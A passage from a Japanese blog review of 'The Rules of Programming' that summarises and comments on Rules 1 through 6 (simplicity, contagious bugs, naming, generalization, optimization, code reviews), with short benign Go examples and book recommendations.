Programming」は、ソフトウェア開発の様々な側面を網羅する包括的なガイドです。著者の長年の経験から得られた洞察は多くの開発者にとって貴重な指針となりますが、最も印象に残ったのは、これらのルールを批判的に検討し、自身の環境や経験に照らし合わせて適用することの重要性を著者が強調している点です。この本は単なるテクニカルガイドを超え、プログラミングの本質と向き合うための思考法を提供しています。21のルールそれぞれが、コードの品質向上だけでなく、プログラマーとしての成長にも寄与する深い洞察を含んでいます。例えば、「最適化の前に測定せよ」というルールは、効率化の重要性と同時に、根拠に基づいた意思決定の必要性を説いています。また、本書は理論だけでなく実践的なアドバイスも豊富です。各ルールに付随する具体例やケーススタディは、抽象的な概念を現実の開発シナリオに結びつける助けとなります。これにより、読者は自身の日々のプログラミング実践に直接適用できるインサイトを得ることができます。結論として、この本は単にプログラミングスキルを向上させるだけでなく、ソフトウェア開発に対する包括的な理解と哲学を育むための貴重なリソースとなっています。プログラマーとしてのキャリアのどの段階にあっても、本書から学ぶべき重要な教訓があるでしょう。しかし、本書の本当の価値は私の読書感想文程度では伝えきれません。なので、「ほへー」以上の思考を抱かず、書籍を読んで下さい。ぜひ、あなた自身でこの本を手に取り、21のルールそれぞれについて熟考し、自分の経験と照らし合わせながら、プログラミングの本質に迫ってください。その過程で得られる洞察こそが、あなたのソフトウェア開発スキルを次のレベルへと導くでしょう。Rule 1. As Simple as Possible, but No Simpler第1章「As Simple as Possible, but No Simpler」は、プログラミングの根幹を成す重要な原則を探求しています。この章では、シンプルさの重要性、複雑さとの戦い、そして適切なバランスを見出すことの難しさについて深く掘り下げています。著者は、ある言葉を引用しながら、プログラミングにおける「シンプルさ」の本質を明確に示しています。この主題に関しては、「A Philosophy of Software Design」も優れた洞察を提供しています。以下のプレゼンテーションは、その概要を30分で理解できるよう要約したものです。 speakerdeck.com両書を併せて読むことで、ソフトウェア設計におけるシンプルさの重要性をより深く理解することができるでしょう。シンプルさの定義と重要性著者は、シンプルさを「問題のすべての要件を満たす最もシンプルな実装方法」と定義しています。この定義は、一見単純に見えますが、実際のソフトウェア開発において深い意味を持ちます。シンプルさは、コードの可読性、保守性、そして最終的にはプロジェクトの長期的な成功に直結する要素だと著者は主張しています。実際の開発現場では、この原則を適用するのは容易ではありません。例えば、新機能の追加や既存機能の拡張を行う際に、コードの複雑さが増すことは避けられません。しかし、著者が強調するのは、その複雑さを最小限に抑えることの重要性です。これは、単に「短いコードを書く」ということではなく、問題の本質を理解し、それに最適なアプローチを選択することを意味します。複雑さとの戦い著者は、プログラミングを「複雑さとの継続的な戦い」と表現しています。この見方は、多くの経験豊富な開発者の実感と一致するでしょう。新機能の追加や既存機能の修正が、システム全体の複雑さを増大させ、結果として開発速度の低下や品質の低下につながるという現象は、多くのプロジェクトで見られます。著者は、この複雑さの増大を「イベントホライズン」に例えています。これは、一歩進むごとに新たな問題が生まれ、実質的な進歩が不可能になる状態を指します。この状態を避けるためには、常にシンプルさを意識し、複雑さの増大を最小限に抑える努力が必要です。ja.wikipedia.orgシンプルさの測定シンプルさを測る方法について、著者はいくつかの観点を提示しています。コードの理解のしやすさコードの作成の容易さコードの量導入される新しい概念の数説明に要する時間これらの観点は、実際の開発現場でも有用な指標となります。例えば、コードレビューの際に、これらの観点を基準として用いることで、より客観的な評価が可能になります。シンプルさと正確さのバランス著者は、シンプルさを追求する一方で、問題の要件を満たすことの重要性も強調しています。この点は特に重要で、単純に「シンプルなコード」を書くことが目的ではなく、問題を正確に解決しつつ、可能な限りシンプルな実装を目指すべきだということを意味します。例として、著者は階段の昇り方のパターン数を計算する問題を取り上げています。この問題に対して、再帰的な解法、メモ化を用いた解法、動的計画法を用いた解法など、複数のアプローチを示しています。各アプローチの利点と欠点を比較することで、シンプルさと性能のトレードオフを具体的に示しています。コードの重複とシンプルさ著者は、コードの重複を避けることが必ずしもシンプルさにつながるわけではないという興味深い観点を提示しています。小規模な重複は、時としてコードの可読性を高め、理解を容易にする場合があるという主張は、多くの開発者にとって新鮮な視点かもしれません。この主張は、DRY(Don\'t Repeat Yourself)原則と一見矛盾するように見えますが、著者の意図は、原則を盲目的に適用するのではなく、状況に応じて適切な判断を下すべきだということです。小規模な重複を許容することで、コードの全体的な構造がシンプルになり、理解しやすくなる場合があるという指摘は、実務的な視点から重要です。まとめ著者は、プログラミングにおけるシンプルさの追求が、単なる美学的な問題ではなく、プロジェクトの成功に直結する重要な要素であることを強調しています。複雑さとの戦いは永続的なものであり、シンプルさを維持する努力は決して終わることがありません。しかし、この努力は決して無駄ではありません。著者自身の25年にわたるプロジェクト経験が示すように、複雑さを制御し続けることで、長期的な進化と成功が可能になります。この章は、プログラミングの本質的な課題に光を当て、実践的なアプローチを提示しています。シンプルさの追求は、単にコードを書く技術だけでなく、問題の本質を理解し、最適な解決策を見出す能力を要求します。これは、ソフトウェア開発の技術と言えるでしょう。最後に、この章の教訓は、特定の言語や環境に限定されるものではありません。シンプルさの追求は、あらゆるプログラミング言語、開発環境、そしてプロジェクトの規模に適用可能な普遍的な原則です。この原則を心に留め、日々の開発作業に活かしていくことが、真に優れたソフトウェアエンジニアへの道となるのです。Rule 2. Bugs Are Contagious第2章「Bugs Are Contagious」は、ソフトウェア開発における重要な課題の一つであるバグの性質と、その対処法について深く掘り下げています。著者は、バグが単なる孤立した問題ではなく、システム全体に影響を及ぼす「伝染性」を持つという洞察を提示しています。この章を通じて、バグの早期発見と対処の重要性、そしてそれを実現するための具体的な方法論が示されています。完全な余談なのですがこの章の内容は、一見「割れ窓理論」を想起させますが、最近の研究ではこの理論の妥当性に疑問が投げかけられています。例えば、「Science Fictions あなたが知らない科学の真実」では、有名な科学実験の再検証だけでなく、科学研究の制度的な問題点や改善策についても論じられています。Science Fictions あなたが知らない科学の真実作者:スチュアート・リッチーダイヤモンド社Amazonこの書籍は、科学研究の信頼性向上のための追試制度の提案や査読プロセスの改善など、建設的な内容を含んでおり、科学的知見の批判的検討の重要性を示唆しています。「割れ窓理論」は本書では直接言及されていませんが、同様に再検証が必要とされる理論の一つとして考えられています。例えで出したら後輩に指摘されてしまうかもしれません。バグの伝染性著者は、バグが存在すると、他の開発者が意図せずにそのバグに依存したコードを書いてしまう可能性があると指摘しています。これは、バグが単に局所的な問題ではなく、システム全体に影響を及ぼす「伝染性」を持つことを意味します。例えば、あるモジュールのバグが、そのモジュールを利用する他の部分にも影響を与え、結果として複数の箇所で問題が発生するという状況です。この洞察は、日々の開発現場でも当てはまるものです。例えば、APIの仕様にバグがあると、それを利用する多くのクライアントコードが影響を受けることがあります。そのため、バグの早期発見と修正が極めて重要になります。早期発見の重要性著者は、バグを早期に発見することの重要性を強調しています。バグが長期間放置されるほど、それに依存したコードが増え、修正が困難になるというわけです。これは、多くの開発者が経験的に知っていることかもしれませんが、著者はこれを「entanglement(絡み合い)」という概念で説明しています。実際の開発現場では、この「entanglement」の問題は頻繁に発生します。例えば、あるライブラリのバグを修正したら、それを使用していた多くのアプリケーションが動かなくなるという事態は珍しくありません。これは、アプリケーションがバグの振る舞いに依存していたためです。自動テストの重要性著者は、バグの早期発見のための主要な手段として、自動テストの重要性を強調しています。継続的な自動テストを行うことで、バグを早期に発見し、「entanglement」の問題を最小限に抑えることができるというわけです。しかし、著者も認めているように、自動テストの導入には課題もあります。例えば、ゲーム開発のような主観的な要素が大きい分野では、すべての要素を自動テストでカバーすることは困難です。また、テストの作成自体にも多くの時間とリソースが必要になります。ステートレスコードの利点著者は、テストを容易にするための一つの方法として、ステートレスなコードの作成を推奨しています。ステートを持たない純粋な関数は、入力に対して常に同じ出力を返すため、テストが容易になります。これは、実際の開発現場でも有効な方法です。例えば、以下のようなGolangのコードを考えてみます。func sumVector(values []int) int { sum := 0 for _, value := range values { sum += value } return sum}このような純粋関数は、入力と出力の関係が明確で、副作用がないため、テストが容易です。一方、状態を持つコードは、その状態によって振る舞いが変わるため、テストが複雑になりがちです。内部監査の重要性著者は、完全にステートレスにできない場合の対策として、内部監査(internal auditing)の重要性を指摘しています。これは、コード内部で自己チェックを行うメカニズムを実装することで、状態の一貫性を保つ方法です。例えば、Golangでは以下のように実装できます。type Character struct { // フィールド省略}func (c *Character) audit() { // 内部状態の一貫性をチェック if /* 一貫性が破れている */ { panic(\\"Character state is inconsistent\\") }}このような内部監査を適切に配置することで、状態の不整合を早期に発見し、デバッグを容易にすることができます。呼び出し側を信頼しない著者は、「呼び出し側を信頼しない」という重要な原則を提示しています。これは、APIを設計する際に、不正な引数や不適切な使用方法を想定し、それらを適切に処理することの重要性を示しています。例えば、Golangでは以下のように実装できます。type ObjectID struct { index int generation int}func (s *Simulator) isObjectIDValid(id ObjectID) bool { return id.index >= 0 && id.index < len(s.indexGenerations) && s.indexGenerations[id.index] == id.generation}func (s *Simulator) getObjectState(id ObjectID) (ObjectState, error) { if !s.isObjectIDValid(id) { return ObjectState{}, errors.New(\\"invalid object ID\\") } // 以下、正常な処理}このようなチェックを実装することで、APIの誤用を早期に検出し、デバッグを容易にすることができます。まとめ著者は、バグの「伝染性」という概念を通じて、早期発見と対処の重要性を強調しています。自動テスト、ステートレスなコード設計、内部監査、そして堅牢なAPIデザインなど、様々な手法を組み合わせることで、バグの影響を最小限に抑えることができると主張しています。これらの原則は、実際の開発現場でも有効です。特に、マイクロサービスアーキテクチャやサーバーレスコンピューティングが主流となっている現代のソフトウェア開発では、ステートレスなコード設計の重要性が増しています。また、CI/CDパイプラインの普及により、継続的な自動テストの実施が容易になっています。しかし、著者も認めているように、これらの原則をすべての状況で完全に適用することは難しい場合もあります。例えば、レガシーシステムの保守や、リアルタイム性が要求される組み込みシステムの開発など、制約の多い環境では、これらの原則の適用に工夫が必要になるでしょう。結論として、この章で提示されている原則は、バグの早期発見と対処を通じて、ソフトウェアの品質と保守性を高めるための重要な指針となります。これらの原則を理解し、プロジェクトの特性に応じて適切に適用することが、開発者には求められるのです。Rule 3. A Good Name Is the Best Documentation第3章「A Good Name Is the Best Documentation」は、プログラミングにおける命名の重要性を深く掘り下げています。著者は、適切な命名がコードの理解しやすさと保守性に大きな影響を与えることを強調し、良い命名がいかに効果的なドキュメンテーションになり得るかを説明しています。この章では、命名の原則から具体的なプラクティス、そして命名規則の一貫性の重要性まで、幅広いトピックがカバーされています。著者の経験に基づく洞察は、日々のコーディング作業から大規模プロジェクトの設計まで、様々な場面で適用できる実践的なアドバイスとなっています。言葉の形と意味の関連性については例えば、「ゴロゴロ」という言葉が雷の音を模倣しているように、言葉の音や形が、その意味を直接的に表現している場合があります。この概念は、プログラミングの命名にも応用できる可能性があります。機能や役割を直感的に表現する変数名やメソッド名を選ぶことで、コードの理解しやすさを向上させることができるかもしれません。ただし、プログラムの複雑化に伴い、単純な音や形の類似性だけでは不十分になる場合もあるため、コンテキストや他の命名規則との整合性も考慮する必要があります。言語の本質 ことばはどう生まれ、進化したか (中公新書)作者:今井むつみ,秋田喜美中央公論新社Amazon命名の重要性著者は、シェイクスピアの「ロミオとジュリエット」を引用しながら、名前の持つ力について語り始めます。「バラはどんな名前で呼んでも、同じように甘い香りがする」というジュリエットの台詞を、プログラミングの文脈で解釈し直しています。著者の主張は明確です。コードにおいて、名前は単なるラベル以上の意味を持つのです。適切な名前は、そのコードの目的や機能を即座に伝える強力なツールとなります。これは、コードを書く時間よりも読む時間の方が圧倒的に長いという現実を考えると、重要な指摘です。実際の開発現場でも、この原則の重要性は日々実感されます。例えば、数ヶ月前に書いたコードを見直す時、適切な名前付けがされていれば、コードの意図を素早く理解できます。逆に、意味の曖昧な変数名やメソッド名に遭遇すると、コードの解読に余計な時間を取られてしまいます。最小限のキーストロークを避ける著者は、変数名や関数名を短くすることで、タイピング時間を節約しようとする傾向について警告しています。これは特に、経験の浅い開発者や古い時代のプログラミング習慣を持つ開発者に見られる傾向です。例として、複素数の多項式を評価する関数のコードが示されています。最初の例では、変数名が極端に短く、コードの意図を理解するのが困難です。一方、適切な名前を使用した第二の例では、コードの意図が明確になり、理解しやすくなっています。// 悪い例func cp(n int, rr, ii []float64, xr, xi float64) (yr, yi float64) { // ... (省略)}// 良い例func evaluateComplexPolynomial(degree int, realCoeffs, imagCoeffs []float64, realX, imagX float64) (realY, imagY float64) { // ... (省略)}この例は、適切な命名がいかにコードの可読性を向上させるかを明確に示しています。長い名前を使用することで、コードを書く時間は若干増えるかもしれませんが、それ以上に読む時間と理解する時間が大幅に短縮されます。命名規則の一貫性著者は、プロジェクト内で一貫した命名規則を使用することの重要性を強調しています。異なる命名規則が混在すると、コードの理解が困難になり、認知負荷が増大します。例えば、自作のコンテナクラスと標準ライブラリのコンテナクラスを混在して使用する場合、命名規則の違いによって混乱が生じる可能性があります。著者は、可能な限り一貫した命名規則を採用し、外部ライブラリの使用を最小限に抑えることを提案しています。実際の開発現場では、チーム全体で一貫した命名規則を採用することが重要です。例えば、Golangでは以下のような命名規則が一般的です。// 良い例type User struct { ID int FirstName string LastName string}func (u *User) FullName() string { return u.FirstName + \\" \\" + u.LastName}// 悪い例(一貫性がない)type customer struct { id int first_name string LastName string}func (c *customer) get_full_name() string { return c.first_name + \\" \\" + c.LastName}この例では、良い例では一貫してキャメルケースを使用し、構造体名は大文字で始まっています。一方、悪い例では命名規則が混在しており、理解が困難になっています。機械的な命名規則の利点著者は、可能な限り機械的な命名規則を採用することを推奨しています。これにより、チームメンバー全員が自然に同じ名前を選択するようになり、コードベース全体の一貫性が向上します。著者の所属するSucker Punchでは、Microsoftのハンガリアン記法の変種を使用しているそうです。例えば、iFactionは配列内のインデックスを、vpCharacterはキャラクターへのポインタのベクトルを表します。これは興味深いアプローチですが、現代のプログラミング言語やIDE環境では必ずしも必要ないかもしれません。例えば、Golangでは型推論が強力で、IDEのサポートも充実しています。そのため、以下のような命名規則でも十分に明確であり、かつ読みやすいコードを書くことができます。func ProcessUsers(users []User, activeOnly bool) []User { var result []User for _, user := range users { if !activeOnly || user.IsActive { result = append(result, user) } } return result}この例では、変数の型や用途が名前自体から明確に分かります。usersは複数のユーザーを表す配列、activeOnlyはブール値のフラグ、resultは処理結果を格納する配列です。まとめ著者は、良い命名が最良のドキュメンテーションであるという主張を、様々な角度から論じています。適切な命名は、コードの意図を即座に伝え、保守性を高め、チーム全体の生産性を向上させます。一方で、命名規則に関しては、プロジェクトやチームの状況に応じて柔軟に対応することも重要です。例えば、レガシーコードベースを扱う場合や、異なる背景を持つ開発者が協働する場合など、状況に応じた判断が求められます。私の経験上、最も重要なのはチーム内での合意形成です。どのような命名規則を採用するにせよ、チーム全体がその規則を理解し、一貫して適用することが、コードの可読性と保守性を高める鍵となります。また、命名規則は時代とともに進化することも忘れてはいけません。例えば、かつては変数名の長さに制限があったため短い名前が好まれましたが、現代の開発環境ではそのような制限はほとんどありません。そのため、より説明的で長い名前を使用することが可能になっています。結論として、良い命名はコードの品質を大きく左右する重要な要素です。it\'s not just about writing code, it\'s about writing code that tells a story. その物語を明確に伝えるために、私たちは日々、より良い命名を追求し続ける必要があるのです。Rule 4. Generalization Takes Three Examples第4章「Generalization Takes Three Examples」は、ソフトウェア開発における一般化(generalization)の適切なタイミングと方法について深く掘り下げています。著者は、コードの一般化が重要でありながらも、早すぎる一般化が引き起こす問題について警鐘を鳴らしています。この章を通じて、プログラマーが日々直面する「特定の問題を解決するコードを書くべきか、それとも汎用的な解決策を目指すべきか」というジレンマに対する洞察を提供しています。この章の内容は、認知心理学の知見とも関連しており、即座に解決策を求める直感的な思考は特定の問題に対する迅速な解決をもたらす一方で過度の一般化につながる危険性がある一方、より慎重で分析的な思考は複数の事例を比較検討し適切なレベルの一般化を導く可能性が高くなるため、著者が提案する「3つの例則」は、より適切な一般化を実現するための実践的なアプローチとして、ソフトウェア開発における意思決定プロセスを理解し改善するための新たな洞察を提供してくれるでしょう。ファスト&スロー (上)作者:ダニエル カーネマン,村井 章子早川書房Amazon一般化の誘惑著者は、プログラマーが一般的な解決策を好む傾向について語ることから始めます。例えば、赤い看板を見つける関数を書く代わりに、色を引数として受け取る汎用的な関数を書くことを選ぶプログラマーが多いと指摘しています。// 特定の解決策func findRedSign(signs []Sign) *Sign { for _, sign := range signs { if sign.Color() == Color.Red { return &sign } } return nil}// 一般的な解決策func findSignByColor(signs []Sign, color Color) *Sign { for _, sign := range signs { if sign.Color() == color { return &sign } } return nil}この例は、多くのプログラマーにとって馴染み深いものでしょう。私自身、これまでの経験で何度も同様の選択を迫られてきました。一般的な解決策を選ぶ理由として、将来的な拡張性や再利用性を挙げる人が多いですが、著者はここで重要な問いを投げかけています。本当にその一般化は必要なのか?YAGNIの原則著者は、XP(エクストリーム・プログラミング)の原則の一つである「YAGNI」(You Ain\'t Gonna Need It:それは必要にならないよ)を引用しています。この原則は、実際に必要になるまで機能を追加しないことを提唱しています。こういう原則は『プリンシプル オブ プログラミング3年目までに身につけたい一生役立つ101の原理原則』を読めば一通り読めるのでおすすめです。プリンシプル オブ プログラミング 3年目までに身につけたい 一生役立つ101の原理原則作者:上田勲秀和システムAmazon例えば、看板検索の例をさらに一般化して、色だけでなく、場所やテキストなども検索できるようにした SignQuery 構造体を考えてみます。type SignQuery struct { Colors []Color Location Location MaxDistance float64 TextPattern string}func findSigns(query SignQuery, signs []Sign) []Sign { // 実装省略}この SignQuery は柔軟で強力に見えますが、著者はこのアプローチに警鐘を鳴らします。なぜなら、この一般化された構造は、実際には使用されない機能を含んでいる可能性が高いからです。さらに重要なことに、この一般化された構造は、将来の要件変更に対して柔軟に対応できないかもしれません。3つの例則著者は、一般化を行う前に少なくとも3つの具体的な使用例を見るべきだと主張します。これは、良い視点だと思いました。1つや2つの例では、パターンを正確に把握するには不十分で、誤った一般化を導く可能性があります。3つの例を見ることで、より正確なパターンの把握と、より控えめで適切な一般化が可能になるという考えは説得力があります。実際の開発現場では、この「3つの例則」を厳密に適用するのは難しいかもしれません。しかし、この原則を意識することで、早すぎる一般化を避け、より適切なタイミングで一般化を行うことができるでしょう。過度な一般化の危険性著者は、過度に一般化されたコードがもたらす問題について詳しく説明しています。特に印象的だったのは、一般化されたソリューションが「粘着性」を持つという指摘です。つまり、一度一般化された解決策を採用すると、それ以外の方法を考えるのが難しくなるということです。例えば、findSigns 関数を使って赤い看板を見つけた後、他の種類の看板を見つける必要が出てきたとき、多くのプログラマーは自然と findSigns 関数を拡張しようとするでしょう。しかし、これが必ずしも最適な解決策とは限りません。// 過度に一般化された関数func findSigns(query ComplexQuery, signs []Sign) []Sign { // 複雑な実装}// 単純で直接的な解決策func findBlueSignsOnMainStreet(signs []Sign) []Sign { var result []Sign for _, sign := range signs { if sign.Color() == Color.Blue && isOnMainStreet(sign.Location()) { result = append(result, sign) } } return result}この例では、findSigns を使用するよりも、直接的な解決策の方がシンプルで理解しやすいことがわかります。著者の主張は、一般化されたソリューションが常に最適とは限らず、時には直接的なアプローチの方が優れている場合があるということです。まとめ著者の「Generalization Takes Three Examples」という原則は、ソフトウェア開発における重要な洞察を提供しています。早すぎる一般化の危険性を認識し、具体的な使用例に基づいて慎重に一般化を進めることの重要性を強調しています。この原則は、特に大規模なプロジェクトや長期的なメンテナンスが必要なシステムにおいて重要です。過度に一般化されたコードは、短期的には柔軟性をもたらすように見えても、長期的には理解や修正が困難になる可能性があります。私自身、この章を読んで、これまでの開発経験を振り返る良い機会となりました。早すぎる一般化によって複雑化してしまったコードや、逆に一般化が足りずに重複だらけになってしまったコードなど、様々な失敗を思い出しました。最後に、著者の「ハンマーを持つと全てが釘に見える」という比喩は的確だと感じました。一般化されたソリューションは強力なツールですが、それが全ての問題に適しているわけではありません。適切なタイミングで適切なレベルの一般化を行うこと、そしてそのために具体的な使用例をしっかりと観察することの重要性を、この章から学ぶことができました。今後の開発では、「本当にこの一般化が必要か?」「具体的な使用例は十分にあるか?」という問いを常に意識しながら、より適切な設計とコーディングを心がけていきたいと思います。Rule 5. The First Lesson of Optimization Is Don\'t Optimize第5章「The First Lesson of Optimization Is Don\'t Optimize」は、ソフトウェア開発における最も誤解されやすい、そして最も議論を呼ぶトピックの一つである最適化について深く掘り下げています。著者は、最適化に対する一般的な考え方に挑戦し、実践的かつ効果的なアプローチを提案しています。この章では、最適化の本質、その落とし穴、そして効果的な最適化の方法について詳細に解説されています。著者の経験に基づく洞察は、日々のコーディング作業から大規模プロジェクトの設計まで、様々な場面で適用できる実践的なアドバイスとなっています。センスの哲学 (文春e-book)作者:千葉 雅也文藝春秋Amazon最適化の誘惑著者は、最適化が多くのプログラマーにとって魅力的なタスクであることを認めています。最適化は、その成功を明確に測定できるという点で、他のプログラミングタスクとは異なります。しかし、著者はこの誘惑に警鐘を鳴らします。ここで著者が引用しているドナルド・クヌースの言葉は、多くのプログラマーにとってお馴染みのものです。小さな効率性については97%の時間を忘れるべきである:早すぎる最適化は諸悪の根源である。この言葉は、最適化に対する慎重なアプローチの必要性を強調しています。著者は、この原則が現代のソフトウェア開発においても依然として重要であることを主張しています。最適化の第一の教訓著者が強調する最適化の第一の教訓は、「最適化するな」というものです。これは一見矛盾しているように見えますが、著者の意図は明確です。最初から最適化を意識してコードを書くのではなく、まずはシンプルで明確なコードを書くべきだというのです。この原則を実践するための具体例として、著者は重み付きランダム選択の関数を挙げています。最初の実装は以下のようなものです。func chooseRandomValue(weights []int, values []interface{}) interface{} { totalWeight := 0 for _, weight := range weights { totalWeight += weight } selectWeight := rand.Intn(totalWeight) for i, weight := range weights { selectWeight -= weight if selectWeight < 0 { return values[i] } } panic(\\"Unreachable\\")}この実装は単純明快で、理解しやすいものです。著者は、この段階で最適化を考えるのではなく、まずはこのシンプルな実装で十分だと主張します。最適化の第二の教訓著者が提唱する最適化の第二の教訓は、「シンプルなコードは簡単に最適化できる」というものです。著者は、未最適化のコードであれば、大きな労力をかけずに5倍から10倍の速度向上を達成できると主張します。この主張を実証するため、著者は先ほどのchooseRandomValue関数の最適化に挑戦します。著者が提案する最適化のプロセスは以下の5ステップです。プロセッサ時間を測定し、属性付けするバグでないことを確認するデータを測定する計画とプロトタイプを作成する最適化し、繰り返すこのプロセスに従って最適化を行った結果、著者は元の実装の約12倍の速度を達成しました。これは、著者の「5倍から10倍の速度向上」という主張を裏付けるものです。過度な最適化の危険性著者は、一度目標の速度向上を達成したら、それ以上の最適化は避けるべきだと警告しています。これは、過度な最適化が複雑性を増し、コードの可読性や保守性を損なう可能性があるためです。著者自身、さらなる最適化のアイデアを持っていることを認めていますが、それらを追求する誘惑に抗うことの重要性を強調しています。代わりに、それらのアイデアをコメントとして残し、将来必要になった時のために保存しておくことを提案しています。まとめ著者の「最適化するな」という主張は、一見すると直感に反するものかもしれません。しかし、この原則の本質は、「適切なタイミングまで最適化を延期せよ」ということです。この章から学べる重要な教訓は以下のとおりです。シンプルで明確なコードを書くことを最優先せよ。本当に必要になるまで最適化を行わない。最適化が必要になった時、シンプルなコードなら容易に最適化できる。最適化は計測と分析に基づいて行うべきで、勘や推測に頼るべきではない。目標を達成したら、それ以上の最適化は避ける。これらの原則は、特に大規模なプロジェクトや長期的なメンテナンスが必要なシステムにおいて重要です。早すぎる最適化は、短期的にはパフォーマンス向上をもたらすかもしれませんが、長期的にはコードの複雑性を増大させ、保守性を低下させる可能性があります。私自身、この章を読んで、これまでの開発経験を振り返る良い機会となりました。早すぎる最適化によって複雑化してしまったコードや、逆に最適化の機会を見逃してしまった事例など、様々な経験が思い出されます。最後に、著者の「Pythonで高頻度取引アプリケーションを書いてしまっても、必要な部分だけC++に移植すれば50倍から100倍の速度向上が得られる」という指摘は、示唆に富んでいます。これは、最適化の問題に柔軟にアプローチすることの重要性を示しています。今後の開発では、「本当にこの最適化が必要か?」「この最適化によってコードの複雑性がどの程度増すか?」という問いを常に意識しながら、より適切な設計とコーディングを心がけていきたいと思います。最適化は確かに重要ですが、それ以上に重要なのは、シンプルで理解しやすく、保守性の高いコードを書くことなのです。Rule 6. Code Reviews Are Good for Three Reasons第6章「コードレビューが良い3つの理由」は、ソフトウェア開発プロセスにおけるコードレビューの重要性と、その多面的な利点について深く掘り下げています。著者は、自身の30年以上にわたるプログラミング経験を基に、コードレビューの進化と現代のソフトウェア開発における不可欠な役割を論じています。この章では、コードレビューが単なるバグ発見のツールではなく、知識共有、コード品質向上、そしてチーム全体の生産性向上に寄与する重要な実践であることを示しています。著者の洞察は、現代のアジャイル開発やDevOpsの文脈においても関連性が高く、多くの開発チームにとって有益な示唆を提供しています。コードレビューの効果を最大化するためには、適切なフィードバック方法を考慮することが重要であり、建設的なフィードバックの与え方や受け手の心理を考慮したコミュニケーション方法を学ぶことで、ポジティブな点も含めたバランスのとれたコメント、明確で具体的な改善提案、相手の立場を尊重した表現方法などを活用し、コードレビューを単なる技術的な確認作業ではなくチームの成長と協力を促進する貴重な機会として活用することで、チーム全体のコミュニケーションが改善され、結果としてソフトウェア開発プロセス全体の効率と品質が向上するでしょう。みんなのフィードバック大全作者:三村 真宗光文社Amazonコードレビューの進化著者は、コードレビューが過去30年間でどのように進化してきたかを振り返ることから始めます。かつてはほとんど行われていなかったコードレビューが、現在では多くの開発チームで標準的な実践となっていることを指摘しています。この変化は、ソフトウェア開発の複雑化と、チーム開発の重要性の増大を反映しているように思います。個人的な経験を踏まえると、10年前と比べても、コードレビューの重要性に対する認識は格段に高まっていると感じます。特に、オープンソースプロジェクトの台頭や、GitHubなどのプラットフォームの普及により、コードレビューの文化はさらに広がっていると言えるでしょう。近年、生成AIを活用したコードレビューツールも注目を集めています。例えばPR-agentやGitHub Copilot pull requestは、AIがプルリクエストを分析し、フィードバックを提供します。このようなツールは、人間のレビューアーを補完し、効率的なコード品質管理を可能にします。ただし、AIによるレビューには限界もあります。コンテキストの理解や創造的な問題解決など、人間のレビューアーの強みは依然として重要です。そのため、AIツールと人間のレビューを組み合わせたハイブリッドアプローチが、今後のベストプラクティスとなる可能性があります。コードレビューの3つの利点著者は、コードレビューには主に3つの利点があると主張しています。バグの発見知識の共有コード品質の向上これらの利点について、著者の見解を踏まえつつ、現代のソフトウェア開発の文脈で考察してみます。1. バグの発見著者は、バグ発見がコードレビューの最も明白な利点であるものの、実際にはそれほど効果的ではないと指摘しています。確かに、私の経験でも、コードレビューで見つかるバグは全体の一部に過ぎません。しかし、ここで重要なのは、コードレビューにおけるバグ発見のプロセスです。著者が指摘するように、多くの場合、バグはレビューを受ける側が説明する過程で自ら気づくことが多いのです。これは、ラバーダッキング手法の一種と見なすこともできます。2. 知識の共有著者は、コードレビューが知識共有の優れた方法であると強調しています。これは、現代の開発環境において特に重要な点です。技術の進化が速く、プロジェクトの規模が大きくなる中で、チーム全体の知識レベルを均一に保つことは難しくなっています。コードレビューは、この課題に対する効果的な解決策の一つです。著者が提案する「シニア」と「ジュニア」の組み合わせによるレビューは、特に有効だと考えます。ただし、ここでの「シニア」「ジュニア」は、必ずしも経験年数ではなく、特定の領域やプロジェクトに対する知識の深さを指すと解釈するべきでしょう。3. コード品質の向上著者は、コードレビューの最も重要な利点として、「誰かが見るということを知っていると、みんなより良いコードを書く」という点を挙げています。この指摘は的を射ていると思います。人間の心理として、他人に見られることを意識すると、自然とパフォーマンスが向上します。これは、ソフトウェア開発においても例外ではありません。コードレビューの存在自体が、コード品質を向上させる強力な動機付けとなるのです。コードレビューの実践著者は、自社でのコードレビューの実践について詳しく説明しています。リアルタイムで、インフォーマルに、対話形式で行われるこのアプローチは、多くの利点があります。特に印象的なのは、レビューをダイアログとして捉える視点です。一方的なチェックではなく、相互の対話を通じて理解を深めていくこのアプローチは、知識共有と問題発見の両面で効果的です。一方で、この方法はリモートワークが増加している現代の開発環境では、そのまま適用するのが難しい場合もあります。しかし、ビデオ会議ツールやペアプログラミングツールを活用することで、類似の効果を得ることは可能です。まとめ著者の「コードレビューには3つの良い理由がある」という主張は、説得力があります。バグの発見、知識の共有、コード品質の向上という3つの側面は、いずれも現代のソフトウェア開発において重要な要素です。しかし、これらの利点を最大限に引き出すためには、著者が強調するように、コードレビューを単なる形式的なプロセスではなく、チームのコミュニケーションと学習の機会として捉えることが重要です。個人的な経験を踏まえると、コードレビューの質は、チームの文化と深く関連していると感じます。オープンで建設的なフィードバックを歓迎する文化、継続的な学習を重視する文化を育てることが、効果的なコードレビューの前提条件となるでしょう。また、著者が指摘する「禁止されたコードレビュー」(ジュニア同士のレビュー)については、少し異なる見解を持ちます。確かに、知識の誤った伝播というリスクはありますが、ジュニア同士であっても、互いの視点から学ぶことはあると考えます。ただし、これには適切な監視とフォローアップが必要です。最後に、コードレビューは決して完璧なプロセスではありません。著者も認めているように、全てのバグを見つけることはできません。しかし、それでもコードレビューは、ソフトウェアの品質向上とチームの成長に大きく貢献する貴重な実践であることは間違いありません。今後の開発プロジェクトでは、この章で学んだ洞察を活かし、より効果的なコードレビューの実践を目指していきたいと思います。特に、レビューをより対話的なプロセスにすること、知識共有の機会として積極的に活用すること、そしてチーム全体のコード品質向上への意識を高めることを意識していきたいと考えています。Rule 7. Eliminate Failure Cases第7章「Eliminate Failure 